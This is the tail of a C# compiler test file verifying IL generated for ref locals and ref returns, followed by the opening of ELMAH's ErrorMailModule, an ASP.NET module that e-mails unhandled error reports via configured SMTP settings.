IL_0013: ret
}");
}
[Fact]
public void RefAssignClassInstanceIndexer()
{
var text = @"
class Program
{
int field = 0;
ref int this[int i] { get { return ref field; } }
void M()
{
ref int rl = ref this[0];
}
void M1()
{
ref int rl = ref new Program()[0];
}
}
";
var comp = CompileAndVerifyExperimental(text, options: TestOptions.DebugDll, verify: false);
comp.VerifyIL("Program.M()", @"
{
// Code size 10 (0xa)
.maxstack 2
.locals init (int& V_0) //rl
IL_0000: nop
IL_0001: ldarg.0
IL_0002: ldc.i4.0
IL_0003: call ""ref int Program.this[int].get""
IL_0008: stloc.0
IL_0009: ret
}");
comp.VerifyIL("Program.M1()", @"
{
// Code size 14 (0xe)
.maxstack 2
.locals init (int& V_0) //rl
IL_0000: nop
IL_0001: newobj ""Program..ctor()""
IL_0006: ldc.i4.0
IL_0007: call ""ref int Program.this[int].get""
IL_000c: stloc.0
IL_000d: ret
}");
}
[Fact]
public void RefAssignStructInstanceIndexer()
{
var text = @"
struct Program
{
public ref int this[int i] { get { return ref (new int[1])[0]; } }
void M()
{
ref int rl = ref this[0];
}
}
struct Program2
{
Program program;
Program2(Program program)
{
this.program = program;
}
void M()
{
ref int rl = ref program[0];
}
}
class Program3
{
Program program = default(Program);
void M()
{
ref int rl = ref program[0];
}
}
";
var comp = CompileAndVerifyExperimental(text, options: TestOptions.DebugDll, verify: false);
comp.VerifyIL("Program.M()", @"
{
// Code size 10 (0xa)
.maxstack 2
.locals init (int& V_0) //rl
IL_0000: nop
IL_0001: ldarg.0
IL_0002: ldc.i4.0
IL_0003: call ""ref int Program.this[int].get""
IL_0008: stloc.0
IL_0009: ret
}");
comp.VerifyIL("Program2.M()", @"
{
// Code size 15 (0xf)
.maxstack 2
.locals init (int& V_0) //rl
IL_0000: nop
IL_0001: ldarg.0
IL_0002: ldflda ""Program Program2.program""
IL_0007: ldc.i4.0
IL_0008: call ""ref int Program.this[int].get""
IL_000d: stloc.0
IL_000e: ret
}");
comp.VerifyIL("Program3.M()", @"
{
// Code size 15 (0xf)
.maxstack 2
.locals init (int& V_0) //rl
IL_0000: nop
IL_0001: ldarg.0
IL_0002: ldflda ""Program Program3.program""
IL_0007: ldc.i4.0
IL_0008: call ""ref int Program.this[int].get""
IL_000d: stloc.0
IL_000e: ret
}");
}
[Fact]
public void RefAssignConstrainedInstanceIndexer()
{
var text = @"
interface I
{
ref int this[int i] { get; }
}
class Program<T>
where T : I
{
T t = default(T);
void M()
{
ref int rl = ref t[0];
}
}
class Program2<T>
where T : class, I
{
void M(T t)
{
ref int rl = ref t[0];
}
}
class Program3<T>
where T : struct, I
{
T t = default(T);
void M()
{
ref int rl = ref t[0];
}
}
";
var comp = CompileAndVerifyExperimental(text, options: TestOptions.DebugDll);
comp.VerifyIL("Program<T>.M()", @"
{
// Code size 21 (0x15)
.maxstack 2
.locals init (int& V_0) //rl
IL_0000: nop
IL_0001: ldarg.0
IL_0002: ldflda ""T Program<T>.t""
IL_0007: ldc.i4.0
IL_0008: constrained. ""T""
IL_000e: callvirt ""ref int I.this[int].get""
IL_0013: stloc.0
IL_0014: ret
}");
comp.VerifyIL("Program2<T>.M(T)", @"
{
// Code size 15 (0xf)
.maxstack 2
.locals init (int& V_0) //rl
IL_0000: nop
IL_0001: ldarg.1
IL_0002: box ""T""
IL_0007: ldc.i4.0
IL_0008: callvirt ""ref int I.this[int].get""
IL_000d: stloc.0
IL_000e: ret
}");
comp.VerifyIL("Program3<T>.M()", @"
{
// Code size 21 (0x15)
.maxstack 2
.locals init (int& V_0) //rl
IL_0000: nop
IL_0001: ldarg.0
IL_0002: ldflda ""T Program3<T>.t""
IL_0007: ldc.i4.0
IL_0008: constrained. ""T""
IL_000e: callvirt ""ref int I.this[int].get""
IL_0013: stloc.0
IL_0014: ret
}");
}
[Fact]
public void RefAssignStaticFieldLikeEvent()
{
var text = @"
delegate void D();
class Program
{
static event D d;
static void M()
{
ref D rl = ref d;
}
}
";
CompileAndVerifyExperimental(text, options: TestOptions.DebugDll).VerifyIL("Program.M()", @"
{
// Code size 8 (0x8)
.maxstack 1
.locals init (D& V_0) //rl
IL_0000: nop
IL_0001: ldsflda ""D Program.d""
IL_0006: stloc.0
IL_0007: ret
}");
}
[Fact]
public void RefAssignClassInstanceFieldLikeEvent()
{
var text = @"
delegate void D();
class Program
{
event D d;
void M()
{
ref D rl = ref d;
}
void M1()
{
ref D rl = ref new Program().d;
}
}
";
var comp = CompileAndVerifyExperimental(text, options: TestOptions.DebugDll);
comp.VerifyIL("Program.M()", @"
{
// Code size 9 (0x9)
.maxstack 1
.locals init (D& V_0) //rl
IL_0000: nop
IL_0001: ldarg.0
IL_0002: ldflda ""D Program.d""
IL_0007: stloc.0
IL_0008: ret
}");
comp.VerifyIL("Program.M1()", @"
{
// Code size 13 (0xd)
.maxstack 1
.locals init (D& V_0) //rl
IL_0000: nop
IL_0001: newobj ""Program..ctor()""
IL_0006: ldflda ""D Program.d""
IL_000b: stloc.0
IL_000c: ret
}");
}
[Fact]
public void RefAssignStaticField()
{
var text = @"
class Program
{
static int i = 0;
static void M()
{
ref int rl = ref i;
rl = i;
}
}
";
CompileAndVerifyExperimental(text, options: TestOptions.DebugDll).VerifyIL("Program.M()", @"
{
// Code size 15 (0xf)
.maxstack 2
.locals init (int& V_0) //rl
IL_0000: nop
IL_0001: ldsflda ""int Program.i""
IL_0006: stloc.0
IL_0007: ldloc.0
IL_0008: ldsfld ""int Program.i""
IL_000d: stind.i4
IL_000e: ret
}");
}
[Fact]
public void RefAssignClassInstanceField()
{
var text = @"
class Program
{
int i = 0;
void M()
{
ref int rl = ref i;
}
void M1()
{
ref int rl = ref new Program().i;
}
}
";
var comp = CompileAndVerifyExperimental(text, options: TestOptions.DebugDll);
comp.VerifyIL("Program.M()", @"
{
// Code size 9 (0x9)
.maxstack 1
.locals init (int& V_0) //rl
IL_0000: nop
IL_0001: ldarg.0
IL_0002: ldflda ""int Program.i""
IL_0007: stloc.0
IL_0008: ret
}");
comp.VerifyIL("Program.M1()", @"
{
// Code size 13 (0xd)
.maxstack 1
.locals init (int& V_0) //rl
IL_0000: nop
IL_0001: newobj ""Program..ctor()""
IL_0006: ldflda ""int Program.i""
IL_000b: stloc.0
IL_000c: ret
}");
}
[Fact]
public void RefAssignStructInstanceField()
{
var text = @"
struct Program
{
public int i;
}
class Program2
{
Program program = default(Program);
void M(ref Program program)
{
ref int rl = ref program.i;
rl = program.i;
}
void M()
{
ref int rl = ref program.i;
}
}
";
var comp = CompileAndVerifyExperimental(text, options: TestOptions.DebugDll);
comp.VerifyIL("Program2.M(ref Program)", @"
{
// Code size 17 (0x11)
.maxstack 2
.locals init (int& V_0) //rl
IL_0000: nop
IL_0001: ldarg.1
IL_0002: ldflda ""int Program.i""
IL_0007: stloc.0
IL_0008: ldloc.0
IL_0009: ldarg.1
IL_000a: ldfld ""int Program.i""
IL_000f: stind.i4
IL_0010: ret
}");
comp.VerifyIL("Program2.M()", @"
{
// Code size 14 (0xe)
.maxstack 1
.locals init (int& V_0) //rl
IL_0000: nop
IL_0001: ldarg.0
IL_0002: ldflda ""Program Program2.program""
IL_0007: ldflda ""int Program.i""
IL_000c: stloc.0
IL_000d: ret
}");
}
[Fact]
public void RefAssignStaticCallWithoutArguments()
{
var text = @"
class Program
{
static ref int M()
{
ref int rl = ref M();
return ref rl;
}
}
";
CompileAndVerifyExperimental(text, options: TestOptions.DebugDll, verify: false).VerifyIL("Program.M()", @"
{
// Code size 13 (0xd)
.maxstack 1
.locals init (int& V_0, //rl
int& V_1)
IL_0000: nop
IL_0001: call ""ref int Program.M()""
IL_0006: stloc.0
IL_0007: ldloc.0
IL_0008: stloc.1
IL_0009: br.s IL_000b
IL_000b: ldloc.1
IL_000c: ret
}");
}
[Fact]
public void RefAssignClassInstanceCallWithoutArguments()
{
var text = @"
class Program
{
ref int M()
{
ref int rl = ref M();
return ref rl;
}
ref int M1()
{
ref int rl = ref new Program().M();
return ref rl;
}
}
";
var comp = CompileAndVerifyExperimental(text, options: TestOptions.DebugDll, verify: false);
comp.VerifyIL("Program.M()", @"
{
// Code size 14 (0xe)
.maxstack 1
.locals init (int& V_0, //rl
int& V_1)
IL_0000: nop
IL_0001: ldarg.0
IL_0002: call ""ref int Program.M()""
IL_0007: stloc.0
IL_0008: ldloc.0
IL_0009: stloc.1
IL_000a: br.s IL_000c
IL_000c: ldloc.1
IL_000d: ret
}");
comp.VerifyIL("Program.M1()", @"
{
// Code size 18 (0x12)
.maxstack 1
.locals init (int& V_0, //rl
int& V_1)
IL_0000: nop
IL_0001: newobj ""Program..ctor()""
IL_0006: call ""ref int Program.M()""
IL_000b: stloc.0
IL_000c: ldloc.0
IL_000d: stloc.1
IL_000e: br.s IL_0010
IL_0010: ldloc.1
IL_0011: ret
}");
}
[Fact]
public void RefAssignStructInstanceCallWithoutArguments()
{
var text = @"
struct Program
{
public ref int M()
{
ref int rl = ref M();
return ref rl;
}
}
struct Program2
{
Program program;
ref int M()
{
ref int rl = ref program.M();
return ref rl;
}
}
class Program3
{
Program program;
ref int M()
{
ref int rl = ref program.M();
return ref rl;
}
}
";
var comp = CompileAndVerifyExperimental(text, options: TestOptions.DebugDll, verify: false);
comp.VerifyIL("Program.M()", @"
{
// Code size 14 (0xe)
.maxstack 1
.locals init (int& V_0, //rl
int& V_1)
IL_0000: nop
IL_0001: ldarg.0
IL_0002: call ""ref int Program.M()""
IL_0007: stloc.0
IL_0008: ldloc.0
IL_0009: stloc.1
IL_000a: br.s IL_000c
IL_000c: ldloc.1
IL_000d: ret
}");
comp.VerifyIL("Program2.M()", @"
{
// Code size 19 (0x13)
.maxstack 1
.locals init (int& V_0, //rl
int& V_1)
IL_0000: nop
IL_0001: ldarg.0
IL_0002: ldflda ""Program Program2.program""
IL_0007: call ""ref int Program.M()""
IL_000c: stloc.0
IL_000d: ldloc.0
IL_000e: stloc.1
IL_000f: br.s IL_0011
IL_0011: ldloc.1
IL_0012: ret
}");
comp.VerifyIL("Program3.M()", @"
{
// Code size 19 (0x13)
.maxstack 1
.locals init (int& V_0, //rl
int& V_1)
IL_0000: nop
IL_0001: ldarg.0
IL_0002: ldflda ""Program Program3.program""
IL_0007: call ""ref int Program.M()""
IL_000c: stloc.0
IL_000d: ldloc.0
IL_000e: stloc.1
IL_000f: br.s IL_0011
IL_0011: ldloc.1
IL_0012: ret
}");
}
[Fact]
public void RefAssignConstrainedInstanceCallWithoutArguments()
{
var text = @"
interface I
{
ref int M();
}
class Program<T>
where T : I
{
T t = default(T);
ref int M()
{
ref int rl = ref t.M();
return ref rl;
}
}
class Program2<T>
where T : class, I
{
ref int M(T t)
{
ref int rl = ref t.M();
return ref rl;
}
}
class Program3<T>
where T : struct, I
{
T t = default(T);
ref int M()
{
ref int rl = ref t.M();
return ref rl;
}
}
";
var comp = CompileAndVerifyExperimental(text, options: TestOptions.DebugDll, verify: false);
comp.VerifyIL("Program<T>.M()", @"
{
// Code size 25 (0x19)
.maxstack 1
.locals init (int& V_0, //rl
int& V_1)
IL_0000: nop
IL_0001: ldarg.0
IL_0002: ldflda ""T Program<T>.t""
IL_0007: constrained. ""T""
IL_000d: callvirt ""ref int I.M()""
IL_0012: stloc.0
IL_0013: ldloc.0
IL_0014: stloc.1
IL_0015: br.s IL_0017
IL_0017: ldloc.1
IL_0018: ret
}");
comp.VerifyIL("Program2<T>.M(T)", @"
{
// Code size 19 (0x13)
.maxstack 1
.locals init (int& V_0, //rl
int& V_1)
IL_0000: nop
IL_0001: ldarg.1
IL_0002: box ""T""
IL_0007: callvirt ""ref int I.M()""
IL_000c: stloc.0
IL_000d: ldloc.0
IL_000e: stloc.1
IL_000f: br.s IL_0011
IL_0011: ldloc.1
IL_0012: ret
}");
comp.VerifyIL("Program3<T>.M()", @"
{
// Code size 25 (0x19)
.maxstack 1
.locals init (int& V_0, //rl
int& V_1)
IL_0000: nop
IL_0001: ldarg.0
IL_0002: ldflda ""T Program3<T>.t""
IL_0007: constrained. ""T""
IL_000d: callvirt ""ref int I.M()""
IL_0012: stloc.0
IL_0013: ldloc.0
IL_0014: stloc.1
IL_0015: br.s IL_0017
IL_0017: ldloc.1
IL_0018: ret
}");
}
[Fact]
public void RefAssignStaticCallWithArguments()
{
var text = @"
class Program
{
static ref int M(ref int i, ref int j, object o)
{
ref int rl = ref M(ref i, ref j, o);
return ref rl;
}
}
";
CompileAndVerifyExperimental(text, options: TestOptions.DebugDll, verify: false).VerifyIL("Program.M(ref int, ref int, object)", @"
{
// Code size 16 (0x10)
.maxstack 3
.locals init (int& V_0, //rl
int& V_1)
IL_0000: nop
IL_0001: ldarg.0
IL_0002: ldarg.1
IL_0003: ldarg.2
IL_0004: call ""ref int Program.M(ref int, ref int, object)""
IL_0009: stloc.0
IL_000a: ldloc.0
IL_000b: stloc.1
IL_000c: br.s IL_000e
IL_000e: ldloc.1
IL_000f: ret
}");
}
[Fact]
public void RefAssignClassInstanceCallWithArguments()
{
var text = @"
class Program
{
ref int M(ref int i, ref int j, object o)
{
ref int rl = ref M(ref i, ref j, o);
return ref rl;
}
ref int M1(ref int i, ref int j, object o)
{
ref int rl = ref new Program().M(ref i, ref j, o);
return ref rl;
}
}
";
var comp = CompileAndVerifyExperimental(text, options: TestOptions.DebugDll, verify: false);
comp.VerifyIL("Program.M(ref int, ref int, object)", @"
{
// Code size 17 (0x11)
.maxstack 4
.locals init (int& V_0, //rl
int& V_1)
IL_0000: nop
IL_0001: ldarg.0
IL_0002: ldarg.1
IL_0003: ldarg.2
IL_0004: ldarg.3
IL_0005: call ""ref int Program.M(ref int, ref int, object)""
IL_000a: stloc.0
IL_000b: ldloc.0
IL_000c: stloc.1
IL_000d: br.s IL_000f
IL_000f: ldloc.1
IL_0010: ret
}");
comp.VerifyIL("Program.M1(ref int, ref int, object)", @"
{
// Code size 21 (0x15)
.maxstack 4
.locals init (int& V_0, //rl
int& V_1)
IL_0000: nop
IL_0001: newobj ""Program..ctor()""
IL_0006: ldarg.1
IL_0007: ldarg.2
IL_0008: ldarg.3
IL_0009: call ""ref int Program.M(ref int, ref int, object)""
IL_000e: stloc.0
IL_000f: ldloc.0
IL_0010: stloc.1
IL_0011: br.s IL_0013
IL_0013: ldloc.1
IL_0014: ret
}");
}
[Fact]
public void RefAssignStructInstanceCallWithArguments()
{
var text = @"
struct Program
{
public ref int M(ref int i, ref int j, object o)
{
ref int rl = ref M(ref i, ref j, o);
return ref rl;
}
}
struct Program2
{
Program program;
ref int M(ref int i, ref int j, object o)
{
ref int rl = ref program.M(ref i, ref j, o);
return ref rl;
}
}
class Program3
{
Program program;
ref int M(ref int i, ref int j, object o)
{
ref int rl = ref program.M(ref i, ref j, o);
return ref rl;
}
}
";
var comp = CompileAndVerifyExperimental(text, options: TestOptions.DebugDll, verify: false);
comp.VerifyIL("Program.M(ref int, ref int, object)", @"
{
// Code size 17 (0x11)
.maxstack 4
.locals init (int& V_0, //rl
int& V_1)
IL_0000: nop
IL_0001: ldarg.0
IL_0002: ldarg.1
IL_0003: ldarg.2
IL_0004: ldarg.3
IL_0005: call ""ref int Program.M(ref int, ref int, object)""
IL_000a: stloc.0
IL_000b: ldloc.0
IL_000c: stloc.1
IL_000d: br.s IL_000f
IL_000f: ldloc.1
IL_0010: ret
}");
comp.VerifyIL("Program2.M(ref int, ref int, object)", @"
{
// Code size 22 (0x16)
.maxstack 4
.locals init (int& V_0, //rl
int& V_1)
IL_0000: nop
IL_0001: ldarg.0
IL_0002: ldflda ""Program Program2.program""
IL_0007: ldarg.1
IL_0008: ldarg.2
IL_0009: ldarg.3
IL_000a: call ""ref int Program.M(ref int, ref int, object)""
IL_000f: stloc.0
IL_0010: ldloc.0
IL_0011: stloc.1
IL_0012: br.s IL_0014
IL_0014: ldloc.1
IL_0015: ret
}");
comp.VerifyIL("Program3.M(ref int, ref int, object)", @"
{
// Code size 22 (0x16)
.maxstack 4
.locals init (int& V_0, //rl
int& V_1)
IL_0000: nop
IL_0001: ldarg.0
IL_0002: ldflda ""Program Program3.program""
IL_0007: ldarg.1
IL_0008: ldarg.2
IL_0009: ldarg.3
IL_000a: call ""ref int Program.M(ref int, ref int, object)""
IL_000f: stloc.0
IL_0010: ldloc.0
IL_0011: stloc.1
IL_0012: br.s IL_0014
IL_0014: ldloc.1
IL_0015: ret
}");
}
[Fact]
public void RefAssignConstrainedInstanceCallWithArguments()
{
var text = @"
interface I
{
ref int M(ref int i, ref int j, object o);
}
class Program<T>
where T : I
{
T t = default(T);
ref int M(ref int i, ref int j, object o)
{
ref int rl = ref t.M(ref i, ref j, o);
return ref rl;
}
}
class Program2<T>
where T : class, I
{
ref int M(T t, ref int i, ref int j, object o)
{
ref int rl = ref t.M(ref i, ref j, o);
return ref rl;
}
}
class Program3<T>
where T : struct, I
{
T t = default(T);
ref int M(ref int i, ref int j, object o)
{
ref int rl = ref t.M(ref i, ref j, o);
return ref rl;
}
}
";
var comp = CompileAndVerifyExperimental(text, options: TestOptions.DebugDll, verify: false);
comp.VerifyIL("Program<T>.M(ref int, ref int, object)", @"
{
// Code size 28 (0x1c)
.maxstack 4
.locals init (int& V_0, //rl
int& V_1)
IL_0000: nop
IL_0001: ldarg.0
IL_0002: ldflda ""T Program<T>.t""
IL_0007: ldarg.1
IL_0008: ldarg.2
IL_0009: ldarg.3
IL_000a: constrained. ""T""
IL_0010: callvirt ""ref int I.M(ref int, ref int, object)""
IL_0015: stloc.0
IL_0016: ldloc.0
IL_0017: stloc.1
IL_0018: br.s IL_001a
IL_001a: ldloc.1
IL_001b: ret
}");
comp.VerifyIL("Program2<T>.M(T, ref int, ref int, object)", @"
{
// Code size 23 (0x17)
.maxstack 4
.locals init (int& V_0, //rl
int& V_1)
IL_0000: nop
IL_0001: ldarg.1
IL_0002: box ""T""
IL_0007: ldarg.2
IL_0008: ldarg.3
IL_0009: ldarg.s V_4
IL_000b: callvirt ""ref int I.M(ref int, ref int, object)""
IL_0010: stloc.0
IL_0011: ldloc.0
IL_0012: stloc.1
IL_0013: br.s IL_0015
IL_0015: ldloc.1
IL_0016: ret
}");
comp.VerifyIL("Program3<T>.M(ref int, ref int, object)", @"
{
// Code size 28 (0x1c)
.maxstack 4
.locals init (int& V_0, //rl
int& V_1)
IL_0000: nop
IL_0001: ldarg.0
IL_0002: ldflda ""T Program3<T>.t""
IL_0007: ldarg.1
IL_0008: ldarg.2
IL_0009: ldarg.3
IL_000a: constrained. ""T""
IL_0010: callvirt ""ref int I.M(ref int, ref int, object)""
IL_0015: stloc.0
IL_0016: ldloc.0
IL_0017: stloc.1
IL_0018: br.s IL_001a
IL_001a: ldloc.1
IL_001b: ret
}");
}
[Fact]
public void RefAssignDelegateInvocationWithNoArguments()
{
var text = @"
delegate ref int D();
class Program
{
static void M(D d)
{
ref int rl = ref d();
}
}
";
CompileAndVerifyExperimental(text, options: TestOptions.DebugDll).VerifyIL("Program.M(D)", @"
{
// Code size 9 (0x9)
.maxstack 1
.locals init (int& V_0) //rl
IL_0000: nop
IL_0001: ldarg.0
IL_0002: callvirt ""ref int D.Invoke()""
IL_0007: stloc.0
IL_0008: ret
}");
}
[Fact]
public void RefAssignDelegateInvocationWithArguments()
{
var text = @"
delegate ref int D(ref int i, ref int j, object o);
class Program
{
static ref int M(D d, ref int i, ref int j, object o)
{
ref int rl = ref d(ref i, ref j, o);
return ref rl;
}
}
";
CompileAndVerifyExperimental(text, options: TestOptions.DebugDll, verify: false).VerifyIL("Program.M(D, ref int, ref int, object)", @"
{
// Code size 17 (0x11)
.maxstack 4
.locals init (int& V_0, //rl
int& V_1)
IL_0000: nop
IL_0001: ldarg.0
IL_0002: ldarg.1
IL_0003: ldarg.2
IL_0004: ldarg.3
IL_0005: callvirt ""ref int D.Invoke(ref int, ref int, object)""
IL_000a: stloc.0
IL_000b: ldloc.0
IL_000c: stloc.1
IL_000d: br.s IL_000f
IL_000f: ldloc.1
IL_0010: ret
}");
}
[Fact]
public void RefLocalsAreVariables()
{
var text = @"
class Program
{
static int field = 0;
static void M(ref int i)
{
}
static void N(out int i)
{
i = 0;
}
static unsafe void Main()
{
ref int rl = ref field;
rl = 0;
rl += 1;
rl++;
M(ref rl);
N(out rl);
fixed (int* i = &rl) { }
var tr = __makeref(rl);
}
}
";
CompileAndVerifyExperimental(text, options: TestOptions.UnsafeDebugDll).VerifyIL("Program.Main()", @"
{
// Code size 51 (0x33)
.maxstack 3
.locals init (int& V_0, //rl
System.TypedReference V_1, //tr
pinned int& V_2) //i
IL_0000: nop
IL_0001: ldsflda ""int Program.field""
IL_0006: stloc.0
IL_0007: ldloc.0
IL_0008: ldc.i4.0
IL_0009: stind.i4
IL_000a: ldloc.0
IL_000b: ldloc.0
IL_000c: ldind.i4
IL_000d: ldc.i4.1
IL_000e: add
IL_000f: stind.i4
IL_0010: ldloc.0
IL_0011: ldloc.0
IL_0012: ldind.i4
IL_0013: ldc.i4.1
IL_0014: add
IL_0015: stind.i4
IL_0016: ldloc.0
IL_0017: call ""void Program.M(ref int)""
IL_001c: nop
IL_001d: ldloc.0
IL_001e: call ""void Program.N(out int)""
IL_0023: nop
IL_0024: ldloc.0
IL_0025: stloc.2
IL_0026: nop
IL_0027: nop
IL_0028: ldc.i4.0
IL_0029: conv.u
IL_002a: stloc.2
IL_002b: ldloc.0
IL_002c: mkrefany ""int""
IL_0031: stloc.1
IL_0032: ret
}");
}
[Fact]
private void RefLocalsAreValues()
{
var text = @"
class Program
{
static int field = 0;
static void N(int i)
{
}
static unsafe int Main()
{
ref int rl = ref field;
var @int = rl + 0;
var @string = rl.ToString();
var @long = (long)rl;
N(rl);
return unchecked((int)((long)@int + @long));
}
}
";
CompileAndVerifyExperimental(text, options: TestOptions.UnsafeDebugDll).VerifyIL("Program.Main()", @"
{
// Code size 41 (0x29)
.maxstack 2
.locals init (int& V_0, //rl
int V_1, //int
string V_2, //string
long V_3, //long
int V_4)
IL_0000: nop
IL_0001: ldsflda ""int Program.field""
IL_0006: stloc.0
IL_0007: ldloc.0
IL_0008: ldind.i4
IL_0009: stloc.1
IL_000a: ldloc.0
IL_000b: call ""string int.ToString()""
IL_0010: stloc.2
IL_0011: ldloc.0
IL_0012: ldind.i4
IL_0013: conv.i8
IL_0014: stloc.3
IL_0015: ldloc.0
IL_0016: ldind.i4
IL_0017: call ""void Program.N(int)""
IL_001c: nop
IL_001d: ldloc.1
IL_001e: conv.i8
IL_001f: ldloc.3
IL_0020: add
IL_0021: conv.i4
IL_0022: stloc.s V_4
IL_0024: br.s IL_0026
IL_0026: ldloc.s V_4
IL_0028: ret
}
");
}
[Fact]
public void RefLocal_CSharp6()
{
var text = @"
class Program
{
static void M()
{
ref int rl = ref (new int[1])[0];
}
}
";
var comp = CreateCompilationWithMscorlib(text, parseOptions: TestOptions.Regular.WithLanguageVersion(LanguageVersion.CSharp6));
comp.VerifyDiagnostics(
// (6,9): error CS8058: Feature 'byref locals and returns' is experimental and unsupported; use '/features:refLocalsAndReturns' to enable.
// ref int rl = ref (new int[1])[0];
Diagnostic(ErrorCode.ERR_FeatureIsExperimental, "ref").WithArguments("byref locals and returns", "refLocalsAndReturns").WithLocation(6, 9),
// (6,22): error CS8058: Feature 'byref locals and returns' is experimental and unsupported; use '/features:refLocalsAndReturns' to enable.
// ref int rl = ref (new int[1])[0];
Diagnostic(ErrorCode.ERR_FeatureIsExperimental, "ref").WithArguments("byref locals and returns", "refLocalsAndReturns").WithLocation(6, 22)
);
}
}
}
| |
#region License, Terms and Author(s)
//
// ELMAH - Error Logging Modules and Handlers for ASP.NET
// Copyright (c) 2004-9 Atif Aziz. All rights reserved.
//
// Author(s):
//
// Atif Aziz, http://www.raboof.com
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
#endregion
[assembly: Elmah.Scc("$Id: ErrorMailModule.cs addb64b2f0fa 2012-03-07 18:50:16Z azizatif $")]
namespace Elmah
{
#region Imports
using System;
using System.Diagnostics;
using System.Globalization;
using System.Web;
using System.IO;
#if NET_1_0 || NET_1_1
using System.Web.Mail;
#else
using System.Net.Mail;
using MailAttachment = System.Net.Mail.Attachment;
#endif
using IDictionary = System.Collections.IDictionary;
using ThreadPool = System.Threading.ThreadPool;
using WaitCallback = System.Threading.WaitCallback;
using Encoding = System.Text.Encoding;
using NetworkCredential = System.Net.NetworkCredential;
#endregion
public sealed class ErrorMailEventArgs : EventArgs
{
private readonly Error _error;
private readonly MailMessage _mail;
public ErrorMailEventArgs(Error error, MailMessage mail)
{
if (error == null)
throw new ArgumentNullException("error");
if (mail == null)
throw new ArgumentNullException("mail");
_error = error;
_mail = mail;
}
public Error Error
{
get { return _error; }
}
public MailMessage Mail
{
get { return _mail; }
}
}
public delegate void ErrorMailEventHandler(object sender, ErrorMailEventArgs args);
/// <summary>
/// HTTP module that sends an e-mail whenever an unhandled exception
/// occurs in an ASP.NET web application.
/// </summary>
public class ErrorMailModule : HttpModuleBase, IExceptionFiltering
{
private string _mailSender;
private string _mailRecipient;
private string _mailCopyRecipient;
private string _mailSubjectFormat;
private MailPriority _mailPriority;
private bool _reportAsynchronously;
private string _smtpServer;
private int _smtpPort;
private string _authUserName;
private string _authPassword;
private bool _noYsod;
#if !NET_1_0 && !NET_1_1
private bool _useSsl;
#endif
public event ExceptionFilterEventHandler Filtering;
public event ErrorMailEventHandler Mailing;
public event ErrorMailEventHandler Mailed;
public event ErrorMailEventHandler DisposingMail;
/// <summary>
/// Initializes the module and prepares it to handle requests.
/// </summary>
protected override void OnInit(HttpApplication application)
{
if (application == null)
throw new ArgumentNullException("application");
//
// Get the configuration section of this module.
// If it's not there then there is nothing to initialize or do.
// In this case, the module is as good as mute.
//
IDictionary config = (IDictionary) GetConfig();
if (config == null)
return;
//
// Extract the settings.
//
string mailRecipient = GetSetting(config, "to");
string mailSender = GetSetting(config, "from", mailRecipient);
string mailCopyRecipient = GetSetting(config, "cc", string.Empty);
string mailSubjectFormat = GetSetting(config, "subject", string.Empty);
MailPriority mailPriority = (MailPriority) Enum.Parse(typeof(MailPriority), GetSetting(config, "priority", MailPriority.Normal.ToString()), true);
bool reportAsynchronously = Convert.ToBoolean(GetSetting(config, "async", bool.TrueString));
string smtpServer = GetSetting(config, "smtpServer", string.Empty);
int smtpPort = Convert.ToUInt16(GetSetting(config, "smtpPort", "0"), CultureInfo.InvariantCulture);
string authUserName = GetSetting(config, "userName", string.Empty);
string authPassword = GetSetting(config, "password", string.Empty);
bool sendYsod = Convert.ToBoolean(GetSetting(config, "noYsod", bool.FalseString));
#if !NET_1_0 && !NET_1_1
bool useSsl = Convert.ToBoolean(GetSetting(config, "useSsl", bool.FalseString));
#endif
//
// Hook into the Error event of the application.
//
application.Error += new EventHandler(OnError);
ErrorSignal.Get(application).Raised += new ErrorSignalEventHandler(OnErrorSignaled);
//
// Finally, commit the state of the module if we got this far.
// Anything beyond this point should not cause an exception.
//
_mailRecipient = mailRecipient;
_mailSender = mailSender;
_mailCopyRecipient = mailCopyRecipient;
_mailSubjectFormat = mailSubjectFormat;
_mailPriority = mailPriority;
_reportAsynchronously = reportAsynchronously;
_smtpServer = smtpServer;
_smtpPort = smtpPort;
_authUserName = authUserName;
_authPassword = authPassword;
_noYsod = sendYsod;
#if !NET_1_0 && !NET_1_1
_useSsl = useSsl;
#endif
}
/// <summary>
/// Determines whether the module will be registered for discovery
/// in partial trust environments or not.
/// </summary>
protected override bool SupportDiscoverability
{
get { return true; }
}
/// <summary>
/// Gets the e-mail address of the sender.
/// </summary>
protected virtual string MailSender
{
get { return _mailSender; }
}
/// <summary>
/// Gets the e-mail address of the recipient, or a
/// comma-/semicolon-delimited list of e-mail addresses in case of
/// multiple recipients.
/// </summary>
/// <remarks>
/// When using System.Web.Mail components under .NET Framework 1.x,
/// multiple recipients must be semicolon-delimited.
/// When using System.Net.Mail components under .NET Framework 2.0
/// or later, multiple recipients must be comma-delimited.
/// </remarks>
protected virtual string MailRecipient
{
get { return _mailRecipient; }
}
/// <summary>
/// Gets the e-mail address of the recipient for mail carbon
/// copy (CC), or a comma-/semicolon-delimited list of e-mail
/// addresses in case of multiple recipients.
/// </summary>
/// <remarks>
/// When using System.Web.Mail components under .NET Framework 1.x,
/// multiple recipients must be semicolon-delimited.
/// When using System.Net.Mail components under .NET Framework 2.0
/// or later, multiple recipients must be comma-delimited.
/// </remarks>
protected virtual string MailCopyRecipient
{
get { return _mailCopyRecipient; }
}
/// <summary>
/// Gets the text used to format the e-mail subject.
/// </summary>
/// <remarks>
/// The subject text specification may include {0} where the
/// error message (<see cref="Error.Message"/>) should be inserted
/// and {1} <see cref="Error.Type"/> where the error type should
/// be insert.
/// </remarks>
protected virtual string MailSubjectFormat
{
get { return _mailSubjectFormat; }
}
/// <summary>
/// Gets the priority of the e-mail.
/// </summary>
protected virtual MailPriority MailPriority
{
get { return _mailPriority; }
}
/// <summary>
/// Gets the SMTP server host name used when sending the mail.
/// </summary>
protected string SmtpServer
{
get { return _smtpServer; }
}
/// <summary>
/// Gets the SMTP port used when sending the mail.
/// </summary>
protected int SmtpPort
{
get { return _smtpPort; }
}
/// <summary>
/// Gets the user name to use if the SMTP server requires authentication.
/// </summary>
protected string AuthUserName
{
get { return _authUserName; }
}
/// <summary>
/// Gets the clear-text password to use if the SMTP server requires
/// authentication.
/// </summary>
protected string AuthPassword
{
get { return _authPassword; }
}
/// <summary>
